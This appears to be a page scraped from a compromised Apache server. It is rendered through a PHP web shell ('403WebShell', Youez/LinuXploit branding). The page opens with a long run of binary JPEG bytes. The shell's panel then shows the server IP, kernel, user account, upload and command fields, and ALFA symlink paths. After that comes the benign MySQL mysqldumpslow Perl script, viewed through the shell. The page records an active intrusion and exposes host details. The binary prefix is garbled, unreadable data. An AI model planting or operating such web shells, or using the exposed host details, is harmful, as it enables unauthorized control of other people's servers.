JFIFXX    $.' ",#(7),01444'9=82<.342  2!!22222222222222222222222222222222222222222222222222"4 ,PG"Z_4˷kjزZ,F+_z,© zh6٨icfu#ډb_N?wQ5-~I8TK<5oIv-k_U_~bMdӜUHh?]EwQk{_}qFW7HTՑYF?_'ϔ_Ջt=||I 6έ"D/[k9Y8ds|\Ҿp6Ҵ].6znopM[mei$[soᘨ˸ nɜG-ĨUycP3.DBli;hjx7Z^NhN3u{:jx힞#M&jL P@_ P&o89@Sz6t7#Oߋ s}YfTlmrZ)'Nk۞pw\Tȯ?8`Oi{wﭹW[r Q4F׊3m&L=h3z~#\l :F,j@ ʱwQT8"kJO6֚l}R>ډK]y&p}b;N1mr$|7>e@BTM*-iHgD) Em|ؘbҗaҾt4oG*oCNrPQ@z,|?W[0:n,jWiEW$~/hp\?{(0+Y8rΟ+>S-SVN;}s?. w9˟<Mq4Wv'{)01mBVW[8/< %wT^5b)iM pgN&ݝVO~qu9 !J27$O-! :%H ـyΠM=t{!S oK8txA& j0 vF Y|y ~6@c1vOpIg4lODL Rcj_uX63?nkWyf;^*B @~a`Eu+6L.ü>}y}_O6͐:YrGXkGl^w~㒶syIu! W XN7BVO!X2wvGRfT#t/?%8^WaTGcLMI(J1~8?aT ]ASE(*E} 2#I/׍qz^t̔bYz4xt){ OH+(EA&NXTo"XC')}Jzp ~5}^+6wcQ|LpdH}(.|kc4^"Z?ȕ a<L!039C EuCFEwç ;n?*oB8bʝ'#RqfM}7]s2tcS{\icTx;\7KPʇ Z O-~c>"?PEO8@8GQgaՎ󁶠䧘_%#r>1zaebqcPѵn#L =׀t L7`VA{C:ge@w1 Xp3c3ġpM"'-@n4fGB3DJ8[JoߐgK)ƛ$ 83+ 6ʻ SkI*KZlT _`?KQKdB`s}>`*>,*@JdoF*弝O}ks]yߘc1GV<=776qPTtXԀ!9*44Tހ3XΛex46YD  BdemDa\_l,G/֌7Y](xTt^%GE4}bTڹ;Y)BQu>J/J ⮶.XԄjݳ+Ed r5_D1 o Bx΢#<W8R6@gM. drD>(otU@x=~v2 ӣdoBd3eO6㣷ݜ66YQz`S{\P~z m5{J/L1xO\ZFu>ck#&:`$ai>2ΔloF[hlEܺΠk:)` $[69kOw\|8}ބ:񶐕IA1/=2[,!.}gN#ub ~݊}34qdELc$"[qU硬g^%B zrpJru%v\h1Yne`ǥ:gpQM~^Xi `S:V29.PV?Bk AEvw%_9CQwKekPؠ\;Io d{ ߞoc1eP\ `E=@KIRYK2NPlLɀ)&eB+ь( JTx_?EZ }@ 6U뙢طzdWIn` D噥[uV"G&Ú2g}&m?ċ"Om# {ON"SXNeysQ@FnVgdX~nj]J58up~.`r\O,ư0oS _Ml4kv\JSdxSW<AeIX$Iw:Sy›R9Q[,5;@]%u@ *rolbI  +%m:͇ZVủθau,RW33 dJeTYE.Mϧ-oj3+yy^cVO9NV\nd1 !͕_)av;թMlWR1)ElP;yوÏu 3k5Pr6<⒲l!˞*u־n!l:UNW %Chx8vL'X@*)̮ˍ D-M+JUkvK+x8cY?Ԡ~3mo|u@[XeYC\Kpx8oCC&N~3-H MXsu<`~"WL$8ξ3a)|:@m\^`@ҷ)5p+6p%i)P Mngc#0AruzRL+xSS?ʮ}()#tmˇ!0}}y$6Lt;$ʳ{^6{v6ķܰgVcnn ~zx«,2u?cE+ȘH؎%Za)X>uWTzNyosFQƤ$*&LLXL)1" LeOɟ9=:tZcŽY?ӭVwv~,Yrۗ|yGaFC.+ v1fήJ]STBn5sW}y$~z'c 8  ,! pVNSNNqy8z˱A4*'2n<s^ǧ˭PJޮɏUGLJ*#i}K%,)[z21z ?Nin1?TIR#m-1lA`fT5+ܐcq՝ʐ,3f2Uեmab#ŠdQy>\)SLYw#.ʑf ,"+w~N'cO3FN<)j&,- љ֊_zSTǦw>?nU仆Ve0$CdrP m׈eXmVu L.bֹ [Դaզ*\y8Է:Ez\0KqC b̘cөQ=0YsNS.3.Oo:#v7[#߫ 5܎LEr49nCOWlG^0k%;YߝZǓ:S#|}y,/kLd TA(AI$+I3;Y*Z}|ӧOdv..#:nf>>ȶITX 8y"dR|)0=n46ⲑ+ra ~]R̲c?6(q;5% |uj~z8R=XIV=|{vGj\gcqz؋%Mߍ1y#@f^^>N#x#۹6Y~?dfPO{P4Vu1E1J *|%JN`eWuzk M6q t[ gGvWIGu_ft5j"Y:Tɐ*; e54q$C2d} _SL#mYpO.C;cHi#֩%+) ӍƲVSYźg |tj38r|V1#;.SQA[S#`n+$$I P\[@s(EDzP])8G#0B[ىXIIq<9~[Z멜Z⊔IWU&A>P~#dp]9 "cP Md?٥Ifتuk/F9c*9Ǎ:ØFzn*@|Iށ9N3{'['ͬҲ4#}!V Fu,,mTIkv C7vB6kT91*l '~ƞFlU'M ][ΩũJ_{iIn$L jOdxkza۪#EClx˘oVɞljr)/,߬hL#^Lф,íMƁe̩NBLiLq}(q6IçJ$WE$:=#(KBzђ xlx?>Պ+>W,Ly!_DŌlQ![ SJ1ƐY}b,+Loxɓ)=yoh@꥟/Iѭ=Py9 ۍYӘe+pJnϱ?V\SO%(t =?MR[Șd/ nlB7j !;ӥ/[-A>dNsLj ,ɪv=1c.SQO3UƀܽE̻9GϷD7(}Ävӌ\y_0[w <΍>a_[0+LF.޺f>oNTq;y\bՃyjH<|q-eɏ_?_9+PHp$[uxK wMwNی'$Y2=qKBP~Yul:[<F12O5=d]Ysw:ϮEj,_QXz`H1,#II dwrP˂@ZJVy$\y{}^~[:NߌUOdؾe${p>G3cĖlʌ ת[`ϱ-WdgIig2 }s ؤ(%#sS@~3XnRG~\jc3vӍLM[JBTs3}jNʖW;7ç?=XF=-=qߚ#='c7ڑWI(O+=:uxqe2zi+kuGR0&eniT^J~\jyp'dtGsO39* b#Ɋ p[BwsT>d4ۧsnvnU_~,vƜJ1s QIz)(lv8MU=;56Gs#KMP=LvyGd}VwWBF'à ?MHUg2 !p7Qjڴ=ju JnA suMeƆҔ!)'8Ϣٔޝ(Vpצ֖d=ICJǠ{qkԭ߸i@Ku|p=..*+xz[Aqġ#s2aƊRR)*HRsi~a &fMP-KL@ZXy'x{}Zm+:)) IJ-iu ܒH'L(7yGӜq j 6ߌg1go,kرtY?W,pefOQS!K۟cҒA|սj>=⬒˧L[ ߿2JaB~Ru:Q] 0H~]7ƼI(}cq 'ήETq?fabӥvr )o-Q_'ᴎoK;Vo%~OK *bf:-ťIR`B5!RB@ï u ̯e\_U_ gES3QTaxU<~c?*#]MW,[8Oax]1bC|踤Plw5V%){t<d50iXSUm:Z┵i"1^B-PhJ&)O*DcWvM)}Pܗ-q\mmζZ-l@}aE6F@&Sg@ݚM ȹ 4#p\HdYDoH"\..RBHz_/5˘6KhJRPmƶim3,#ccoqa)*PtRmk7xDE\Y閣_X<~)c[[BP6YqS0%_;Àv~| VS؇ 'O0F0\U-d@7SJ*z3nyPOm~P3|Yʉr#CSN@ ƮRN)r"C:: #qbY. 6[2K2uǦHYRQMV G$Q+.>nNHq^ qmMVD+-#*U̒ p욳u:IBmPV@Or[b= 1UE_NmyKbNOU}the`|6֮P>\2PVIDiPO;9rmAHGWS]J*_G+kP2KaZH'KxWMZ%OYDRc+o?qGhmdSoh\D|:WUAQc yTq~^H/#pCZTI1ӏT4"ČZ}`w#*,ʹ 0i課Om*da^gJ݅{le9uF#Tֲ̲ٞC"qߍ ոޑo#XZTp@ o8(jdxw],f`~|,s^f1t|m򸄭/ctr5s79Q4H1꠲BB@l9@C+wpxu£Yc9?`@#omHs2)=2.ljg9$YS%*LRY7Z,*=䷘$armoϰUW.|rufIGwtZwo~5 YյhO+=8fF)W7L9lM̘·Y֘YLf큹pRF99.A "wz=E\Z'a 2Ǚ#;'}G*l^"q+2FQ hjkŦ${ޮ-T٭cf|3#~RJt$b(R(rdx >U b&9,>%E\ Άe$'q't*אެb-|dSBOO$R+H)܎K1m`;J2Y~9Og8=vqD`K[F)k[1m޼cn]skz$@)!I x՝"v9=ZA=`Ɠi :E)`7vI}dYI_ o:obo 3Q&D&2= Ά;>hy.*ⅥSӬ+q&j|UƧ}J0WW< ۋS)jQRjƯrN)Gű4Ѷ(S)Ǣ8iW52No˓ ۍ%5brOnL;n\G=^UdI8$&h'+(cȁ߫klS^cƗjԌEꭔgFȒ@}O*;evWVYJ\]X'5ղkFb 6Ro՜mi Ni>J?lPmU}>_Z&KKqrIDՉ~q3fL:Se>E-G{L6pe,8QIhaXaUA'ʂs+טIjP-y8ۈZ?J$WP Rs]|l(ԓsƊio(S0Y 8T97.WiLc~dxcE|2!XKƘਫ਼$((6~|d9u+qd^389Y6L.I?iIq9)O/뚅OXXVZF[یgQLK1RҖr@v#XlFНyS87kF!AsM^rkpjPDyS$Nqnxҍ!Uf!ehi2m`YI9r6 TFC}/y^Η5d'9A-J>{_l+`A['յϛ#w:݅%X}&PStQ"-\縵/$ƗhXb*yBS;Wջ_mcvt?2}1;qSdd~u:2k52R~z+|HE!)Ǟl7`0<,2*Hl-x^'_TVgZA'j ^2ΪN7t?w x1fIzC-ȖK^q;-WDvT78Z hK(P:Q- 8nZ܃e貾<1YT<,"6{/ ?͟|1:#gW>$dJdB=jf[%rE^il:BxSּ1հ,=*7 fcG#q eh?27,!7x6nLC4x},GeǝtC.vS F43zz\;QYC,6~;RYS/6|25vTimlv& nRh^ejRLGf? ۉҬܦƩ|Ȱ>3!viʯ>vオX3e_1zKȗ\qHS,EW[㺨uch⍸O}a>q6n6N6qN ! 1AQaq0@"2BRb#Pr3C`Scst$4D%Td ?Na3mCwxAmqmm$4n淿t'C"wzU=D\R+wp+YT&պ@ƃ3ޯ?AﶂaŘ@-Q=9Dռѻ@MVP܅G5fY6# ?0UQ,IX(6ڵ[DIMNލc&υj\XR|,4 jThAe^db#$]wOӪ1y%LYm뭛CUƃߜ}Cy1XνmF8jI]HۺиE@Ii;r8ӭVFՇ| &?3|xBMuSGe=Ӕ#BE5GY!z_eqр/W>|-Ci߇t1ޯќdR3ug=0 5[?#͏qcfH{ ?u=??ǯ}ZzhmΔBFTWPxs}G93 )gGR<>r h$'nchPBjJҧH -N1N?~}-q!=_2hcMlvY%UE@|vM2.Y[|y"EïKZF,ɯ?,q?vM 80jx";9vk+ ֧ ȺU?%vcVmA6Qg^MA}3nl QRNl8kkn'(M7m9وq%ޟ*h$Zk"$9: ?U8Sl,,|ɒxH(ѷGn/Q4PG%Ա8N! &7;eKM749R/%lc>x;>C:th?aKXbheᜋ^$Iհ hr7%F$EFdt5+(M6tÜUU|zW=aTsTgdqPQb'm1{|YXNb P~F^F:k6"j! Ir`1&-$Bevk:y#ywI0x=D4tUPZHڠ底taP6b>xaQ# WeFŮNjpJ* mQN*I-*ȩFg3 5Vʊɮa5FO@{NX?H]31Ri_uѕ 0 F~:60p͈SqX#a5>`o&+<2D: ڝ$nP*)N|yEjF5ټeihyZ >kbHavh-#!Po=@k̆IEN@}Ll?jO߭ʞQ|A07xwt!xfI2?Z<ץTcUj]陎Ltl }5ϓ$,Omˊ;@OjEj(ا,LXLOЦ90O .anA7j4 W_ٓzWjcBy՗+EM)dNg6y1_xp$Lv:9"zpʙ$^JԼ*ϭo=xLj6Ju82AH3$ٕ@=Vv]'qEz;I˼)=ɯx /W(Vp$ mu񶤑OqˎTr㠚xsrGCbypG1ߠw e8$⿄/M{*}W]˷.CK\ުx/$WPwr |i&}{X >$-l?-zglΆ(FhvS*b߲ڡn,|)mrH[a3ר[13o_U3TC$(=)0kgP u^=4 WYCҸ:vQרXàtkm,t*^,}D* "(I9R>``[~Q]#afi6l86:,ssN6j"A4IuQ6E,GnHzSHOuk5$I4ؤQ9@CwpBGv[]uOv0I4\yQѸ~>Z8Taqޣ;za/SI:ܫ_|>=Z8:SUIJ"IY8%b8H:QO6;7ISJҌAά3>cE+&jf$eC+z;V rʺmyeaQf&6ND.:NTvm<- uǝ\MvZYNNT-A>jr!SnO 13Ns%3D@`ܟ 1^c< aɽ̲Xë#w|ycW=9I*H8p^(4՗karOcWtO\ƍR8'KIQ?5>[}yUײ -h=% qThG2)"ו3]!kB*pFDlA,eEiHfPs5H:Փ~H0DتDIhF3c2E9H5zԑʚiX=:mxghd(v׊9iSOd@0ڽ:p5h-t&Xqӕ,ie|7A2O%PEhtjY1wЃ!  ࢽMy7\a@ţJ 4ȻF@o̒?4wx)]P~u57X 9^ܩU;Iꭆ 5 eK27({|Y׎ V\"Z1 Z}(Ǝ"1S_vE30>p; ΝD%xW?W?vo^Vidr[/&>~`9Why;R ;;ɮT?r$g1KACcKl:'3 cﳯ*"t8~l)m+U,z`(>yJ?h>]vЍG*{`;y]IT ;cNUfo¾h/$|NS1S"HVT4uhǜ]v;5͠x'C\SBplh}N ABx%ޭl/Twʽ]D=Kžr㻠l4SO?=k M: cCa#ha)ѐxcsgPiG{+xQI= zԫ+ 8"kñj=|c yCF/*9жh{ ?4o kmQNx;Y4膚aw?6>e]Qr:g,i"ԩA*M7qB?ӕFhV25r[7 Y }LR}*sg+xr2U=*'WSZDW]WǞ<叓{$9Ou4y90-1'*D`c^o?(9uݐ'PI& fJݮ:wSjfP1F:X H9dԯ˝[_54 }*;@ܨ ðynT?ןd#4rGͨH1|-#MrS3G3).᧏3vz֑r$G"`j 1tx0<ƆWh6y6,œGagAyb)hDß_mü gG;evݝnQ C-*oyaMI><]obD":GA-\%LT8c)+y76oQ#*{(F⽕y=rW\p۩cA^e6KʐcVf5$'->ՉN"F"UQ@fGb~#&M=8טJNu9D[̤so~ G9TtW^g5y$bY'سǴ=U-2 #MCt(i lj@Q 5̣i*OsxKf}\M{EV{υƇ);HIfeLȣr2>WIȂ6ik 5YOxȺ>Yf5'|H+98pjn.OyjY~iw'l;s2Y:'lgꥴ)o#'SaaKZ m}`169n"xI *+ }FP"l45'ZgE8?[X7(.Q-*ތL@̲v.5[=t\+CNܛ,gSQnH}*FG16&:t4ُ"Ạ$b |#rsaT ]ӽDP7ո0y)e$ٕvIh'QEAm*HRI=: 4牢) %_iNݧl] NtGHL ɱg<1V,J~ٹ"KQ 9HS9?@kr;we݁]I!{ @G["`J:n]{cAEVʆ#U96j#Ym\qe4hB7Cdv\MNgmAyQL4uLjj9#44tl^}LnR!t±]rh6ٍ>yҏNfU  Fm@8}/ujb9he:AyծwGpΧh5l}3p468)Udc;Us/֔YX1O2uqs`hwgr~{ RmhN؎*q 42*th>#E#HvOq}6e\,Wk#Xb>p}դ3T5†6[@Py*n|'f֧>lư΂̺SU'*qp_SM 'c6m ySʨ;MrƋmKxo,GmPAG:iw9}M(^V$ǒѽ9| aJSQarB;}ٻ֢2%Uc#gNaݕ'v[OY'3L3;,p]@S{lsX'cjwk'a.}}& dP*bK=ɍ!;3ngΊUߴmt'*{,=SzfD Ako~Gaoq_mi}#mPXhύmxǍ΂巿zfQc|kc?WY$_Lvl߶c`?ljݲˏ!V6UЂ(A4y)HpZ_x>eR$/`^'3qˏ-&Q=?CFVR DfV9{8gnh(P"6[D< E~0<@`G6Hгcc cK.5DdB`?XQ2ٿyqo&+1^ DW0ꊩG#QnL3c/x 11[yxპCWCcUĨ80me4.{muI=f0QRls9f9~fǨa"@8ȁQ#cicG$Gr/$W(WV"m7[mAmboD j۳ l^kh׽ # iXnveTka^Y4BNĕ0 !01@Q"2AaPq3BR?@4QT3,㺠W[=JKϞ2r^7vc:9 EߴwS#dIxu:Hp9E! V 2;73|F9Y*ʬFDu&y؟^EAA(ɩ^GV:ݜDy`Jr29ܾ㝉[E;FzxYGUeYC v-txIsםĘqEb+P\ :>iC';k|zرny]#ǿbQw(r|ӹs[D2v-%@;8<a[\o[ϧwI!*0krs)[J9^ʜp1) "/_>o<1AEy^C`x1'ܣnps`lfQ):lb>MejH^?kl3(z:1ŠK&?Q~{ٺhy/[V|6}KbXmn[-75q94dmc^h X5G-}دBޟ |rtMV+]c?-#ڛ^ǂ}LkrOu>-Dry D?:ޞUǜ7V?瓮"#rչģVR;n/_ ؉vݶe5db9/O009G5nWJpA*r9>1.[tsFnQ V 77R]ɫ8_0<՜IFu(v4Fk3E)N:yڮeP`1}$WSJSQNjٺ޵#lј(5=5lǏmoWv-1v,Wmn߀$x_DȬ0¤#QR[Vkzmw"9ZG7'[=Qj8R?zf\a=OU*oBA|G254 p.w7  &ξxGHp B%$gtЏ򤵍zHNuЯ-'40;_3 !01"@AQa2Pq#3BR?ʩcaen^8F<7;EA{EÖ1U/#d1an.1ě0ʾRh|RAo3m3 % 28Q yφHTo7lW>#i`qca m,B-j݋'mR1Ήt>Vps0IbIC.1Rea]H64B>o]($Bma!=?B KǾ+Ծ"nK*+[T#{EJSQs5:U\wĐf3܆&)IԆwE TlrTf6Q|Rh:[K zc֧GC%\_a84HcObiؖV7H )*ģK~Xhչ04?0 E<}3#u? |gS6ꊤ|I#Hڛ աwX97Ŀ%SLy6č|Fa 8b$sקhb9RAu7˨pČ_\*w묦F 4D~f|("mNKiS>$d7SlA/²SL|6N}S˯g]6; #. 403WebShell
403Webshell
Server IP : 43.205.77.33  /  Your IP : 216.73.216.84
Web Server : Apache
System : Linux 43-205-77-33.cprapid.com 3.10.0-1160.119.1.el7.tuxcare.els13.x86_64 #1 SMP Fri Nov 22 06:29:45 UTC 2024 x86_64
User : dbcollege ( 1086)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/dbcollege/www/ALFA_DATA/cgialfa/alfasymlink/alfapysymlink.txt/bin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/dbcollege/www/ALFA_DATA/cgialfa/alfasymlink/alfapysymlink.txt/bin/mysqldumpslow
#!/usr/bin/perl

# Copyright (c) 2000, 2023, Oracle and/or its affiliates.
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License, version 2.0,
# as published by the Free Software Foundation.
#
# This program is also distributed with certain software (including
# but not limited to OpenSSL) that is licensed under separate terms,
# as designated in a particular file or component or in included license
# documentation.  The authors of MySQL hereby grant you an additional
# permission to link the program and your derivative works with the
# separately licensed software that they have included with MySQL.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License, version 2.0, for more details.
#
# You should have received a copy of the GNU Library General Public
# License along with this library; if not, write to the Free
# Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston,
# MA 02110-1301, USA

# mysqldumpslow - parse and summarize the MySQL slow query log

# Original version by Tim Bunce, sometime in 2000.
# Further changes by Tim Bunce, 8th March 2001.
# Handling of strings with \ and double '' by Monty 11 Aug 2001.

use strict;
use Getopt::Long;

# t=time, l=lock time, r=rows
# at, al, and ar are the corresponding averages

my %opt = (
    s => 'at',
    h => '*',
);

GetOptions(\%opt,
    'v|verbose+',# verbose
    'help+',	# write usage info
    'd|debug+',	# debug
    's=s',	# what to sort by (al, at, ar, c, t, l, r)
    'r!',	# reverse the sort order (largest last instead of first)
    't=i',	# just show the top n queries
    'a!',	# don't abstract all numbers to N and strings to 'S'
    'n=i',	# abstract numbers with at least n digits within names
    'g=s',	# grep: only consider stmts that include this string
    'h=s',	# hostname of db server for *-slow.log filename (can be wildcard)
    'i=s',	# name of server instance (if using mysql.server startup script)
    'l!',	# don't subtract lock time from total time
) or usage("bad option");

$opt{'help'} and usage();

unless (@ARGV) {
    my $defaults   = `my_print_defaults mysqld`;
    my $basedir = ($defaults =~ m/--basedir=(.*)/)[0]
	or die "Can't determine basedir from 'my_print_defaults mysqld' output: $defaults";
    warn "basedir=$basedir\n" if $opt{v};

    my $datadir = ($defaults =~ m/--datadir=(.*)/)[0];
    my $slowlog = ($defaults =~ m/--slow-query-log-file=(.*)/)[0];
    if (!$datadir or $opt{i}) {
	# determine the datadir from the instances section of /etc/my.cnf, if any
	my $instances  = `my_print_defaults instances`;
	die "Can't determine datadir from 'my_print_defaults mysqld' output: $defaults"
	    unless $instances;
	my @instances = ($instances =~ m/^--(\w+)-/mg);
	die "No -i 'instance_name' specified to select among known instances: @instances.\n"
	    unless $opt{i};
	die "Instance '$opt{i}' is unknown (known instances: @instances)\n"
	    unless grep { $_ eq $opt{i} } @instances;
	$datadir = ($instances =~ m/--$opt{i}-datadir=(.*)/)[0]
	    or die "Can't determine --$opt{i}-datadir from 'my_print_defaults instances' output: $instances";
	warn "datadir=$datadir\n" if $opt{v};
    }

    if ( -f $slowlog ) {
        @ARGV = ($slowlog);
        die "Can't find '$slowlog'\n" unless @ARGV;
    } else {
        @ARGV = <$datadir/$opt{h}-slow.log>;
        die "Can't find '$datadir/$opt{h}-slow.log'\n" unless @ARGV;
    }
}

warn "\nReading mysql slow query log from @ARGV\n";

my @pending;
my %stmt;
$/ = ";\n#";		# read entire statements using paragraph mode
while ( defined($_ = shift @pending) or defined($_ = <>) ) {
    warn "[[$_]]\n" if $opt{d};	# show raw paragraph being read

    my @chunks = split /^\/.*Version.*started with[\000-\377]*?Time.*Id.*Command.*Argument.*\n/m;
    if (@chunks > 1) {
	unshift @pending, map { length($_) ? $_ : () } @chunks;
	warn "<<".join(">>\n<<",@chunks).">>" if $opt{d};
	next;
    }

    s/^#? Time: \d{4}-\d{2}-\d{2}T\d{2}:\d{2}:\d{2}\.\d+(Z|[+-]\d{2}:\d{2}).*\n//;
    my ($user,$host,$dummy,$thread_id) = s/^#? User\@Host:\s+(\S+)\s+\@\s+(\S+)\s+\S+(\s+Id:\s+(\d+))?.*\n// ? ($1,$2,$3,$4) : ('','','','','');

    s/^# Query_time: ([0-9.]+)\s+Lock_time: ([0-9.]+)\s+Rows_sent: ([0-9.]+).*\n//;
    my ($t, $l, $r) = ($1, $2, $3);
    $t -= $l unless $opt{l};

    # remove fluff that mysqld writes to log when it (re)starts:
    s!^/.*Version.*started with:.*\n!!mg;
    s!^Tcp port: \d+  Unix socket: \S+\n!!mg;
    s!^Time.*Id.*Command.*Argument.*\n!!mg;

    s/^use \w+;\n//;	# not consistently added
    s/^SET timestamp=\d+;\n//;

    s/^[ 	]*\n//mg;	# delete blank lines
    s/^[ 	]*/  /mg;	# normalize leading whitespace
    s/\s*;\s*(#\s*)?$//;	# remove trailing semicolon(+newline-hash)

    next if $opt{g} and !m/$opt{g}/io;

    unless ($opt{a}) {
	s/\b\d+\b/N/g;
	s/\b0x[0-9A-Fa-f]+\b/N/g;
        s/''/'S'/g;
        s/""/"S"/g;
        s/(\\')//g;
        s/(\\")//g;
        s/'[^']+'/'S'/g;
        s/"[^"]+"/"S"/g;
	# -n=8: turn log_20001231 into log_NNNNNNNN
	s/([a-z_]+)(\d{$opt{n},})/$1.('N' x length($2))/ieg if $opt{n};
	# abbreviate massive "in (...)" statements and similar
	s!(([NS],){100,})!sprintf("$2,{repeated %d times}",length($1)/2)!eg;
    }

    my $s = $stmt{$_} ||= { users=>{}, hosts=>{} };
    $s->{c} += 1;
    $s->{t} += $t;
    $s->{l} += $l;
    $s->{r} += $r;
    $s->{users}->{$user}++ if $user;
    $s->{hosts}->{$host}++ if $host;

    warn "{{$_}}\n\n" if $opt{d};	# show processed statement string
}

foreach (keys %stmt) {
    my $v = $stmt{$_} || die;
    my ($c, $t, $l, $r) = @{ $v }{qw(c t l r)};
    $v->{at} = $t / $c;
    $v->{al} = $l / $c;
    $v->{ar} = $r / $c;
}

my @sorted = sort { $stmt{$b}->{$opt{s}} <=> $stmt{$a}->{$opt{s}} } keys %stmt;
@sorted = @sorted[0 .. $opt{t}-1] if $opt{t};
@sorted = reverse @sorted         if $opt{r};

foreach (@sorted) {
    my $v = $stmt{$_} || die;
    my ($c, $t,$at, $l,$al, $r,$ar) = @{ $v }{qw(c t at l al r ar)};
    my @users = keys %{$v->{users}};
    my $user  = (@users==1) ? $users[0] : sprintf "%dusers",scalar @users;
    my @hosts = keys %{$v->{hosts}};
    my $host  = (@hosts==1) ? $hosts[0] : sprintf "%dhosts",scalar @hosts;
    printf "Count: %d  Time=%.2fs (%ds)  Lock=%.2fs (%ds)  Rows=%.1f (%d), $user\@$host\n%s\n\n",
	    $c, $at,$t, $al,$l, $ar,$r, $_;
}

sub usage {
    my $str= shift;
    my $text= <<HERE;
Usage: mysqldumpslow [ OPTS... ] [ LOGS... ]

Parse and summarize the MySQL slow query log. Options are

  --verbose    verbose
  --debug      debug
  --help       write this text to standard output

  -v           verbose
  -d           debug
  -s ORDER     what to sort by (al, at, ar, c, l, r, t), 'at' is default
                al: average lock time
                ar: average rows sent
                at: average query time
                 c: count
                 l: lock time
                 r: rows sent
                 t: query time  
  -r           reverse the sort order (largest last instead of first)
  -t NUM       just show the top n queries
  -a           don't abstract all numbers to N and strings to 'S'
  -n NUM       abstract numbers with at least n digits within names
  -g PATTERN   grep: only consider stmts that include this string
  -h HOSTNAME  hostname of db server for *-slow.log filename (can be wildcard),
               default is '*', i.e. match all
  -i NAME      name of server instance (if using mysql.server startup script)
  -l           don't subtract lock time from total time

HERE
    if ($str) {
      print STDERR "ERROR: $str\n\n";
      print STDERR $text;
      exit 1;
    } else {
      print $text;
      exit 0;
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit